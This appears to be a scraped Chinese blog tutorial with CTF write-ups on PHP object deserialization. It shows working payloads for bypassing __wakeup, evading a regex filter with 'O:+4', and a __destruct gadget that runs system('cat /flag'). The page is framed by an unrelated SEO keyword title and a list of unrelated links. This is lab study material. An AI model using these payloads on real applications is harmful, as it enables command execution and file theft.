当前位置: 首页 > news >正文

如何看网站是否被降权昆明模板建站代理

如何看网站是否被降权,昆明模板建站代理,电子商务网站规划与建设摘要,旅游类网站建设方案今日练习题目是PHP反序列化#xff0c;也学习一下说明是序列化和反序列化 1.PHP序列化 序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式#xff0c;以便在不同系统和应用程序之间进行传输或存储 在PHP中…今日练习题目是PHP反序列化也学习一下说明是序列化和反序列化 1.PHP序列化 序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式以便在不同系统和应用程序之间进行传输或存储 在PHP中可以使用serialize()函数将对象序列化为字符串然后进行存储或者传输 2.PHP反序列化 反序列化就是将序列化后的数据转换为原来的对象数据结构变量的过程 在PHP中可以使用unserialize()函数将序列化后的字符串转化为原来的对象或数据 3.魔法函数 在PHP中魔法函数是指的是特定的函数名称以两个下划线开始命名的 下面是一些常见的魔法函数 __construct :类的构造函数在对象被创建时自动调用 __destruct :类的析构函数在对象被销毁时自动调用 __get :当调用一个不存在的属性时自动调用 __set 当给一个不存在的属性赋值时自动调用 __call : 当调用一个不存在的方法时调用 __toString : 当对象被转换为字符串时自动调用 __sleep : 当对象被序列化时自动调用 __wakeup : 当对象被反序列化时自动调用 4.例题 4.1[攻防世界——unserialize3] 看这串代码显示出来不是一个完整的PHP代码括号没有完全闭合 开始分析: __wakeup()函数看到这个函数就会想到反序列化对于上述代码中的xctf类中有一个flag变量和__wakeup函数方法当一个xtcf对象被序列化为字符串后再次反序列化该字符串wakeup方法的调用就会重建该对象xctf 题目没有给出序列化则需要我们自己生成出然后给code传参 ?php class xctf{public $flag 111;public function __wakeup(){ exit(bad requests); } } $a new xctf(); echo(serialize($a)); ? //上述代码就可以生成xctf的序列化字符串序列化输出结果为O:4:xctf:1:{s:4:flag;s:3:111;}  分析可知当把序列化结果传参时执行到wakeup方法就会成功反序列化则打印“bad request” 无法得到flag 所以就得绕过这个反序列化的操作就是不能正确的将字符串反序列化 接下来就分析一下序列化结果 O:4:xctf:1:{s:4:flag;s:3:111;} O表示被序列化的是一个对象 4表示对象名 xctf 有4个字符 xctf表示对象的名称为 xctf 1表示该对象只有一个属性 {}表示该对象的属性列表为空 s表示属性类型为字符串 4表示属性名 flag 有4个字符 flag表示属性名为 flag s表示属性类型为字符串 3表示属性值 111 有3个字符 111表示属性值为 111  这里的漏洞就是修改对象属性的个数因为当序列化中的属性个数比实际代码中的属性个数大时就不会执行wakeup方法从而就可以使其报错出flag 改为O:4:xctf:2:{s:4:flag;s:3:111;}  get传参?codeO:4:xctf:2:{s:4:flag;s:3:111;}  这道题顺利解出 4.2[攻防世界——Web_php_unserialize] ?php class Demo { private $file index.php;public function __construct($file) { $this-file $file; }function __destruct() { echo highlight_file($this-file, true); }function __wakeup() { if ($this-file ! index.php) { //the secret is in the fl4g.php$this-file index.php; } } } if (isset($_GET[var])) { $var base64_decode($_GET[var]); if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else {unserialize($var); } } else { highlight_file(index.php); } 上述代码使用了php反序列化可以通过$var来控制unserialize()的变量所以漏洞在反序列化这里 分析源码可以看出需要绕过__wakeup()方法和正则匹配才可以高亮显示出fl4g.php文件 第一部绕过__wakeup()方法 和上一题一样先生成出序列化字符串然后改变里面的属性个数进行绕过 第二步绕过正则匹配 就是绕过preg_match(/[oc]:\d:/i)对照上面的序列化字符串 分析 [oc]表示出现字符O或者C \d表示匹配一个或者多个数字d代表数字 /i表示不区分大小写 绕过原理  1.原正则表达式期望匹配的是 o 或 c 后跟一个冒号然后是一个或多个数字再跟一个冒号。 2.在 O:4: 中虽然  不是一个数字但 PHP 在处理反序列化时对于对象长度的解析会将  当作数字处理。因为在序列化字符串中对象的表示形式通常是 O:对象名称长度:对象名称。当使用  时PHP 会将其解释为一个较大的正数。 同时由于原正则表达式没有考虑  符号所以 O:4: 不会被 /[oc]:\d:/i 匹配从而绕过了该正则表达式的检查。 //后面的执行代码 $anew Demo(fl4g.php); $aserialize($a); $astr_replace(:1:,:2:,$a);//绕过反序列化 $astr_replace(O:4,O:4,$a);//绕过正则 var_dump($a);//替换后的结果 var_dump(base64_encode($a));//输出base64编码结果 注意这里有个坑这里的 file 变量为私有变量所以序列化之后的字符串开头结尾各有一个空白字符即%00字符串长度也比实际长度大 2如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量序列化之后字符串首部会加上%00*%00。 然后get传参得到flag 4.3[NSSCTF——[SWPUCTF 2022 新生赛]1z_unserialize] 可以看出这是一道序列化题目利用__destruct()方法在销毁对象时自动调用来执行预定义函数实现命令注入 分析代码$a$this-lt;$a($this-lly);这个意思就是$this-lt赋值给a$this-lly作为参数传递给代表a的函数就可以合并为lt(lly) 所以我们就可以通过构造一个恶意的序列化对象将自定义的函数传递给$lt属性然后将执行的代码传递给$lly当对象序列化后再被反序列化就是对象被销毁的时候自动调用__destruct()函数从而执行绕过操作 只需要把a变成system()把lly变成flag或者cat即可 system(cat/flag); 进行构造代码 ?php class lyh{public $url NSSCTF.com;public $ltsystem;public $llycat /flag;}$demo new lyh(); echo serialize($demo); ? //运行结果 O:3:lyh:3:{s:3:url;s:10:NSSCTF.com;s:2:lt;s:6:system;s:3:lly;s:9:cat /flag;} 然后进行post传参得到flag 4.4[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize] 分析代码 有__wakeup()方法绕过该魔术方法即可 代码中告诉我们flag在f111111ag.php中所以创建对象时把flag文件作为参数传进去 构造 ?php class X {public $x __FILE__;function __construct($x){$this-x $x;}function __wakeup(){if ($this-x ! __FILE__) {$this-x __FILE__;}}function __destruct(){highlight_file($this-x);//flag is in fllllllag.php} } $demonew X(fllllllag.php); echo(serialize($demo)); ? 生成O:1:X:1:{s:1:x;s:13:fllllllag.php;} 修改为O:1:X:2:{s:1:x;s:13:fllllllag.php;} 然后get传参得到flag 4.5[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]  打开题目发现没有东西然后就下意识查看源码 发现有disallow就会想到Robots协议就可以看看robots.txt  robots.txt 文件是一个纯文本文件用于告诉搜索引擎爬虫哪些 URL 可以访问哪些不能访问。它主要用于管理爬虫流量防止服务器被过多的请求压垮 看到有/cl45s.php直接打开显示php代码 分析代码可以看到对象销毁时调用__destrcut()方法而flag就在这个方法中只需要满足方法中的if语句 就可以得到flag但是这里面如何改admin和passwd变量的值呢就需要构造一下将”admin“赋值给admin”ctf“赋值给passwd即可然后进行创建对象再打印序列化后的字符串 ?php class wllm{public $adminadmin;public $passwdctf;} $demonew wllm(); echo(serialize($demo)); ? O:4:wllm:2:{s:5:admin;s:5:admin;s:6:passwd;s:3:ctf;} 然后get传参得到flag
http://www.w-s-a.com/news/689836/

相关文章:

  • 个人网站趋向wordpress图片搬家
  • 做空压机网站的公司有哪些wordpress 外部链接
  • 网站建设管理成本估计小红书推广平台
  • 一级a做爰片免费观看网站焦作建设企业网站公司
  • 欧阳网站建设2022华为云营销季
  • 快速学做网站高水平的大连网站建设
  • 专业做房地产网站建设wordpress侧面小工具
  • 旅游网站开发的重要性wordpress添加广告插件
  • 关于网站建设管理工作的报告婚纱网站php
  • 东莞市建设培训中心网站那个网站可以看高速的建设情况
  • 网站开发工具安卓版专业小程序商城开发
  • 网站不备案影响收录吗深圳住房网站app
  • 交网站建设域名计入什么科目开发平台教程
  • 个人网站定制北京快速建站模板
  • 河南海华工程建设监理公司网站高端论坛网站建设
  • 网站建设网络推广方案图片编辑器免费
  • 如何用dw做网站设计设计头条
  • 网站建设基础及流程北京商场购物中心排名
  • 青州市城乡建设局网站自建网站步骤
  • wordpress文章延迟加载优化设计答案四年级上册语文
  • 做网站源码要给客户嘛怎么在运行打开wordpress
  • 北海住房和城乡建设局网站wordpress标题去掉私密
  • 织梦网站安装视频做网站都有那些步骤
  • 网站空间大小选择沈阳微信网站制作
  • 网站分享对联广告网站结构的类型
  • 三维家是在网站上做还是在app上北京网站建设 专业10年
  • 模拟网站建设网站建设认准猪八戒网
  • godaddy网站建设教程微信手机网站搭建
  • 网站建设 商城淄博网站制作哪家好
  • 廊坊手机网站团队国际贸易进口代理公司